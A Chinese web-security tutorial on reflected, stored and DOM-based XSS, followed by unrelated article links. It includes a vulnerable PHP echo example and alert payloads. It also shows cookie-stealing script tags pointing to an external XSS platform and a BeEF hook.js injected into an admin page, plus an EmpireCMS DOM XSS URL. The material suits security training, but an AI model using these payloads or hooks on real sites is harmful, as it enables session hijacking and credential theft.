WEB 攻防-通用漏-XSS 跨站脚本攻击-反射型/存储型/DOMBEEF-XSS

news2025/1/15 15:09:16

XSS跨站脚本攻击技术（一）

XSS的定义

XSS攻击，全称为跨站脚本攻击，是指攻击者通过在网页中插入恶意脚本代码，当用户浏览该网页时，恶意脚本会被执行，从而达到攻击目的的一种安全漏洞。这些恶意脚本可以窃取用户的敏感信息，如Cookie、会话令牌等，或者诱导用户执行不安全的操作，如点击恶意链接、下载恶意软件等。

XSS的原理

它是由前端JavaScript代码造成的，具体来说，是Web应用程序在处理用户输入时未能充分验证和过滤，导致恶意脚本被注入到网页中并由用户的浏览器执行。这种漏洞通常发生在动态网页中，其中JavaScript代码用于与服务器进行交互、更新页面内容或处理用户输入。由于JavaScript代码在用户的浏览器中执行，因此攻击者可以利用这一特性来构造恶意脚本，从而控制用户的浏览器进行恶意操作。

XSS的危害

理论上，只要JavaScript功能能够实现的操作，XSS攻击都有可能加以利用并实现。如：

  1. 实施网络钓鱼，包括窃取各类用户账号信息，严重威胁用户的信息安全。
  2. 窃取浏览器中用户的cookies资料，进而获取用户的隐私信息，甚至利用用户身份对网站执行非法操作。
  3. 劫持用户（浏览器）会话，使攻击者能够执行任意操作，如非法转账、发表日志、发送邮件等，对用户造成直接的经济损失或声誉损害。
  4. 强制弹出广告页面、刷流量等，干扰用户的正常使用体验，同时损害网站的正常运营。
  5. 网页挂马，将恶意软件或病毒植入用户电脑，进一步危害用户的系统安全。
  6. 进行恶意操作，如任意篡改页面信息、删除文章等，破坏网站内容的完整性和真实性。
  7. 发起大量的客户端攻击，如DDoS攻击，影响网站的正常访问和稳定性。
  8. 获取客户端信息，如用户的浏览历史、真实IP、开放端口等，为进一步的攻击提供情报支持。
  9. 控制受害者机器向其他网站发起攻击，形成攻击链，扩大攻击范围。
  10. 结合其他漏洞，如CSRF漏洞，实施更为复杂的攻击，提升攻击的成功率和危害性。
  11. 提升用户权限，包括进一步渗透网站，获取更高级别的访问权限和数据访问能力。
  12. 传播跨站脚本蠕虫，实现自动化的攻击传播和感染，造成更广泛的网络安全威胁。

XSS攻击的主要类型

反射型XSS

定义：反射型XSS，也称为非持久型或参数型XSS，是指攻击者通过构造包含恶意脚本的URL参数，当用户点击该链接时，恶意脚本会被回显到网页上并执行。

特点：反射型XSS攻击通常发生在用户与Web应用程序进行交互时，如搜索、提交表单等。由于恶意脚本是通过URL参数传递的，因此其生命周期较短，一旦用户关闭页面或清除浏览器缓存，恶意脚本就会消失。

示例：

有这么一个情况，如后端接受GET请求中的变量，并在前端直接输出该变量，

<?php
// 接收GET请求中的'x'参数
$code = $_GET['x'];

// 直接输出变量，未进行任何过滤或转义
echo $code;
?>

正常访问：

当你使用正常参数访问该页面时，比如：x=1123

x接收到值会在页面中显示，假如传输x的值改成JavaScript的弹窗代码：

x=<script>alert(1)</script>

查看源代码，发现显示内容会出现在审查元素中：

按正常来说，应该显示<script>alert(1)</script>，但是这里显示空白。是因为这段代码被当成JavaScript代码去执行了。执行出的效果就是弹窗。
在产生过程中，有一个输入的值，还有个输出的值。这就是跨站产生的基本原理。但这种漏洞是一次性的，只有访问构造的地址http://127.0.0.1:8081/web/mysql/xss.php?x=<script>alert(1)</script>才可以触发此类漏洞。必须构造给别人，让别人访问，才能触发漏洞。 

在这里，“反射”指的是恶意脚本被服务器接收后，几乎立即被“反射”回用户的浏览器，就像一面镜子一样。

存储型XSS（攻击代码被写进了数据库里）

定义：存储型XSS，也称为持久型XSS，是指攻击者将包含恶意脚本的内容提交到Web应用程序中，并永久存储在服务器上。当其他用户浏览该内容时，恶意脚本会被执行。

特点：存储型XSS攻击的危害性较大，因为恶意脚本被永久存储在服务器上，可以持续影响所有访问该内容的用户。此外，攻击者还可以利用存储型XSS攻击进行更复杂的攻击，如传播跨站脚本蠕虫、构建僵尸网络等。

危害：存储型XSS可能导致用户信息泄露、账户劫持、恶意软件传播等严重后果。攻击者可以利用窃取的用户Cookie进行会话劫持，或者诱导用户执行不安全的操作，如输入敏感信息、下载恶意软件等。安全产商一般只会接受存储型XSS，不会接受反射型XSS（太鸡肋）。

示例：

场景描述

假设有一个在线留言板应用，允许用户提交留言并显示在网页上。这些留言被存储在服务器的数据库中，当用户访问留言板页面时，服务器会从数据库中检索留言并显示在网页上。

攻击过程

  1. 恶意输入：
    • 攻击者在留言框中输入一段包含恶意脚本的留言，例如：<script>alert('恶意代码执行!');</script>。
    • 攻击者提交这段留言。
  2. 存储恶意代码：
    • 服务器接收到这段留言后，未进行充分的验证或过滤，就将其存储在数据库中。
  3. 反射恶意代码：
    • 当其他用户访问留言板页面时，服务器从数据库中检索留言，并将其嵌入到HTML页面中返回给用户。
    • 由于恶意代码被直接嵌入到页面中，当用户的浏览器解析这段HTML时，会执行其中的恶意脚本。
  4. 攻击结果：
    • 用户的浏览器弹出一个警告框，显示“恶意代码执行!”。
    • 这只是恶意脚本的一个简单示例，实际攻击中，恶意脚本可能会窃取用户的敏感信息、执行未经授权的操作、重定向用户到恶意网站等。

DOM型XSS

定义：DOM型XSS是指攻击者通过构造特殊URL或利用网页功能发送恶意代码请求，当受害者浏览器处理这些请求时，会修改DOM树并执行恶意脚本。DOM型不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性也属于反射型。所以DOM型xss取决于输出位置，并不取决于输出环境，因此DOM型xss既有可能是反射型的，也有可能是存储型的

特点：与反射型和存储型XSS不同，DOM型XSS的攻击载荷是在受害者浏览器本地执行的。因此，其相对难以通过传统的输入验证和过滤方法进行防御。此外，DOM型XSS攻击通常与Web应用程序的具体实现细节相关，因此其攻击方式和防御措施也因人而异。

示例：pikachu靶场-DOM型，代码如下

点击click me后， F12查看具体情况，可以看出输入内容会构造一个a标签，并将输入内容作为参数href的值，放在id=dom的容器里

而把而已代码拼接到了a标签里面，尝试构造闭合触发弹窗 

#" onclick="alert('xss')">

 

真实案例和XSS平台

1. 反射型实例-UA查询平台数据输出

平台：useragent.openadmintools.com

访问这个平台，可以发现他抓取了访问者的浏览器信息，重新进行访问，抓包，修改数据包UA头。

<script>alert(xss)</script>

数据包发送，就可以看到浏览器弹窗。

 

但是这类漏洞构成危害不大。因为这个需要在UA头中修改，那么要怎么发给别人。别人访问的时候又不会修改UA头再去访问。

反射型xss的漏洞不好利用的原因：

　　①让对方去访问构造地址；

　　②对方是网站管理员，获取其登录的cookies信息；

　　③浏览器会自动过滤xss的攻击；

 

2. 存储型实例-订单系统CMS权限获取

① 前台填写信息（包含了XSS代码），下订单；

② XSS代码被插入到了数据库；

③ 登录后台进行订单查看时，js代码被执行，弹出js执行代码的窗口，这就形成了xss攻击。

进行留言，在留言上写上payload

那么如何获取管理员的cookie呢？

xss利用平台：网上找或者自己搭建

（1）网上找的平台，注册一个账号：比如，https://xss.pt/xss.php

① 创建项目，然后进行功能选择，查看代码

1645690039564-0e49524e-a0bb-4bc7-a66a-486df581885e.png

② 复制一个代码：<sCRiPt sRC=//xss.pt/X8Vz></sCrIpT>

③ 将代码从目标网站的前台写入

④ 等待目标网站的管理员访问，在下面等待cookie的接收

 

 

回到xss平台

 

比如对后台admin/admin.php?uid=3进行访问，抓包。将获得的cookie信息复制到数据包中。

但是这个cookie不能进行登录，因为这个平台获取到的cookie信息不完整，在正常登录中cookie中还有phpsessid的值，未获取到；
这个网站采用的不是cookie验证，而是phpsessid进行验证，所以无法登录后台。通常，有的网站不止使用cookie，还会使用phpsessid、httponly等进行登录保护。

 

（2）自己搭建xss利用平台（BeEF平台）

搭建：https://blog.csdn.net/qq_40624810/article/details/110958036

kali安装docker：https://blog.csdn.net/m0_67844671/article/details/132872790

安装BeEF：Beef-Xss 浏览器攻击框架的使用_docker安装beef-xss-CSDN博客

安装完成后，访问http://192.168.132.130:3000/ui/panel

默认账号密码beef,beef

在BeEF网站下面有一个hook.js文件，只要加载了这个地址，就会劫持这个浏览器。
将xss跨站代码写入到登录成功的文件，比如admin/index.php文件
<script src="http://47.100.167.248:3000/hook.js"></script>  //注意IP地址改成自己beef的ip
这个平台也可以获取cookie，跳转，下载，钓鱼，伪装成flash。

3.DOM型实例-EmpireCMS前端页面审计

DOM类型的全都是前端的代码，所以基本上都是白盒审计
在upload/e/Viewimg/index.html 发现关键代码：
if(Request("url")!=0){
document.write("<a title=\"点击观看完整的图片...\" href=\""+Request("url")+"\" target=\"_blank\"><img src=\""+Request("url")+"\" border=0 class=\"picborder\" onmousewheel=\"return bbimg(this)\" οnlοad=\"if(this.width>screen.width-500)this.style.width=screen.width-500;\">");
}

 

追踪request函数

 

 简单来说，这个request函数就是用来接收URL的地址

那么要怎么构造他呢？

访问地址http://127.0.0.1:8103/e/Viewimg/index.html

测试：http://127.0.0.1:8103/e/Viewimg/index.html?url=1

url的参数1在路径访问时并没有被当做参数，而是直接被当做文件名访问，那么应该怎么触发跨站呢？
http://127.0.0.1:8103/e/Viewimg/index.html?url=javascript:alert(1) 
这样子构造在源代码中
document.write("<a title=\"点击观看完整的图片...\" href=\""+javascript:alert(1)+"\" target=\"_blank\"><img src=\""+Request("url")+"\" border=0 class=\"picborder\" onmousewheel=\"return bbimg(this)\" οnlοad=\"if(this.width>screen.width-500)this.style.width=screen.width-500;\">");

点击后的地址进行了弹窗：即这个地址http://127.0.0.1:8103/e/Viewimg/javascript:alert(1)执行了js代码

五、XSS平台与工具框架预告

  • XSS平台：介绍XSS攻击平台的概念，并预告后续文章将详细介绍常见的XSS平台。
  • BEEF-XSS框架：提及BEEF框架，并预告后续文章将深入探讨其使用方法和功能。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2277063.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

重生之我在21世纪学C++—函数与递归

重生之我在21世纪学C++—函数与递归

一、函数是什么&#xff1f; 相信我们第一次接触函数是在学习数学的时候&#xff0c;比如&#xff1a;一次函数 y kx b &#xff0c;k 和 b 都是常数&#xff0c;给一个任意的 x &#xff0c;就会得到一个 y 值。 其实在 C 语言中就引入了函数&#xff08;function&#xf…
阅读更多...
Mac——Cpolar内网穿透实战

Mac——Cpolar内网穿透实战

摘要 本文介绍了在Mac系统上实现内网穿透的方法&#xff0c;通过打开远程登录、局域网内测试SSH远程连接&#xff0c;以及利用cpolar工具实现公网SSH远程连接MacOS的步骤。包括安装配置homebrew、安装cpolar服务、获取SSH隧道公网地址及测试公网连接等关键环节。 1. MacOS打开…
阅读更多...
Ubuntu中双击自动运行shell脚本

Ubuntu中双击自动运行shell脚本

方法1: 修改文件双击反应 参考: https://blog.csdn.net/miffywm/article/details/103382405 chmod x test.sh鼠标选中待执行文件&#xff0c;在窗口左上角edit菜单中选择preference设计双击执行快捷键&#xff0c;如下图&#xff1a; 方法2: 设置一个应用 参考: https://blo…
阅读更多...
力扣 全排列

力扣 全排列

回溯经典例题。 题目 通过回溯生成所有可能的排列。每次递归时&#xff0c;选择一个数字&#xff0c;直到选满所有数字&#xff0c;然后记录当前排列&#xff0c;回到上层时移除最后选的数字并继续选择其他未选的数字。每次递归时&#xff0c;在 path 中添加一个新的数字&…
阅读更多...
arcgis提取不规则栅格数据的矢量边界

arcgis提取不规则栅格数据的矢量边界

效果 1、准备数据 栅格数据：dem或者dsm 2、栅格重分类 分成两类即可 3、新建线面图层 在目录下选择预先准备好的文件夹，点击右键，选择“新建”→“Shapefile”，新建一个Shapefile文件。 在弹出的“新建Shapefile”对话框内“名称”命名为“折线”，“要素类型”选…
阅读更多...
【DB-GPT】开启数据库交互新篇章的技术探索与实践

【DB-GPT】开启数据库交互新篇章的技术探索与实践

一、引言&#xff1a;AI原生数据应用开发的挑战与机遇 在数字化转型的浪潮中&#xff0c;企业对于智能化应用的需求日益增长。然而&#xff0c;传统的数据应用开发方式面临着诸多挑战&#xff0c;如技术栈复杂、开发周期长、成本高昂、难以维护等。这些问题限制了智能化应用的…
阅读更多...
LVGL移植高通点阵字库GT30L24A3W

LVGL移植高通点阵字库GT30L24A3W

字库芯片: GT30L24A3W MCU:STM32F429 LVGL版本:V8.4 一、实现gt_read_data() 和 r_dat_bat() 请参考下面视频 如何在32位MCU上使用高通点阵字库_哔哩哔哩_bilibili 高通字库使用教程(1)硬件链接与注意事项部分_哔哩哔哩_bilibili 高通字库使用教程(2)SPI底层函数使用_哔哩…
阅读更多...
一键掌握多平台短视频矩阵营销/源码部署

一键掌握多平台短视频矩阵营销/源码部署

短视频矩阵系统的介绍与应用 随着数字化营销策略的不断演进&#xff0c;传统的短视频矩阵操作方法可能已显陈旧。为此&#xff0c;一款全新的短视频矩阵系统应运而生&#xff0c;它通过整合多个社交媒体账户、创建多样化的任务、运用先进的智能视频编辑工具、实现多平台内容的…
阅读更多...
MySQL（高级特性篇） 06 章——索引的数据结构

MySQL（高级特性篇） 06 章——索引的数据结构

一、为什么使用索引 索引是存储引擎用于快速找到数据记录的一种数据结构&#xff0c;就好比一本教科书的目录部分&#xff0c;通过目录找到对应文章的页码&#xff0c;便可快速定位到需要的文章。MySQL中也是一样的道理&#xff0c;进行数据查找时&#xff0c;首先查看查询条件…
阅读更多...
源码安装httpd2.4

源码安装httpd2.4

1、下载 wget https://archive.apache.org/dist/httpd/httpd-2.4.54.tar.gz 2.解压下载压缩包 tar -zxvf httpd-2.4.54.tar.gz cd httpd-2.4.54 3、安装httpd所需要的依赖 yum groupinstall "Development Tools" -y 4.配置httpd ./configure --prefix/usr/local/htt…
阅读更多...
【算法学习】——整数划分问题详解（动态规划）

【算法学习】——整数划分问题详解（动态规划）

&#x1f9ee;整数划分问题是一个较为常见的算法题&#xff0c;很多问题从整数划分这里出发&#xff0c;进行包装&#xff0c;形成新的题目&#xff0c;所以完全理解整数划分的解决思路对于之后的进一步学习算法是很有帮助的。 「整数划分」通常使用「动态规划」解决&#xff0…
阅读更多...
文件与IO流：一

文件与IO流：一

一些常识 硬盘特点 擅长顺序读&#xff0c;不擅长随机读&#xff0c;尤其是机械硬盘。 随机读例如某个目录中的所有小文件的复制&#xff0c;顺序读是某个大文件的整体复制。 windows的文件系统是按照“树形结构”来组织文件。 路径的风格 1.绝对路径&#xff1a;从根节点…
阅读更多...
计算机网络 （42）远程终端协议TELNET

计算机网络 （42）远程终端协议TELNET

前言 Telnet&#xff08;Telecommunication Network Protocol&#xff09;是一种网络协议&#xff0c;属于TCP/IP协议族&#xff0c;主要用于提供远程登录服务。 一、概述 Telnet协议是一种远程终端协议&#xff0c;它允许用户通过终端仿真器连接到远程主机&#xff0c;并在远程…
阅读更多...
WPF系列十二：图形控件CombinedGeometry

WPF系列十二：图形控件CombinedGeometry

简介 CombinedGeometry 是 WPF (Windows Presentation Foundation) 中的一个几何对象&#xff0c;用于将两个几何图形组合成一个新的几何图形。它允许你通过不同的组合模式&#xff08;如相交、并集、差集或异或&#xff09;来创建复杂的形状。常与 Path 控件一起使用来绘制组…
阅读更多...
《计算机网络》课后探研题书面报告_网际校验和算法

《计算机网络》课后探研题书面报告_网际校验和算法

网际校验和算法 摘 要 本文旨在研究和实现网际校验和&#xff08;Internet Checksum&#xff09;算法。通过阅读《RFC 1071》文档理解该算法的工作原理&#xff0c;并使用编程语言实现网际校验和的计算过程。本项目将对不同类型的网络报文&#xff08;包括ICMP、TCP、UDP等&a…
阅读更多...
业务幂等性技术架构体系之接口幂等深入剖析

业务幂等性技术架构体系之接口幂等深入剖析

在实际应用中&#xff0c;由于网络不稳定、系统延迟等原因&#xff0c;客户端可能会重复发送相同的请求。如果这些重复请求都被服务器处理并执行&#xff0c;就可能导致意想不到的问题&#xff0c;比如重复扣款、多次下单或者数据不一致等。 这就是为什么我们需要接口幂等性。…
阅读更多...
sql模糊关联匹配

sql模糊关联匹配

需求目标&#xff1a; 建立临时表 drop table grafana_bi.zbj_gift_2024;USE grafana_bi; CREATE TABLE zbj_gift_2024 (id INT AUTO_INCREMENT PRIMARY KEY,userName VARCHAR(255),giftName VARCHAR(255),giftNum INT,points INT,teacher VARCHAR(255),sendDate DATETIME,…
阅读更多...
《蜜蜂路线》

《蜜蜂路线》

题目背景 无 题目描述 一只蜜蜂在下图所示的数字蜂房上爬动,已知它只能从标号小的蜂房爬到标号大的相邻蜂房,现在问你&#xff1a;蜜蜂从蜂房 mm 开始爬到蜂房 nn&#xff0c;m<nm<n&#xff0c;有多少种爬行路线&#xff1f;&#xff08;备注&#xff1a;题面有误&am…
阅读更多...
LeetCode100之搜索二维矩阵(46)--Java

LeetCode100之搜索二维矩阵(46)--Java

1.问题描述 给你一个满足下述两条属性的 m x n 整数矩阵&#xff1a; 每行中的整数从左到右按非严格递增顺序排列。每行的第一个整数大于前一行的最后一个整数。 给你一个整数 target &#xff0c;如果 target 在矩阵中&#xff0c;返回 true &#xff1b;否则&#xff0c;返回…
阅读更多...
JS爬虫实战演练

JS爬虫实战演练

在这个小红书私信通里面进行一个js的爬虫 文字发送 async function sendChatMessage(content) {const url https://pro.xiaohongshu.com/api/edith/ads/pro/chat/chatline/msg;const params new URLSearchParams({porch_user_id: 677e116404ee000000000001});const messageD…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023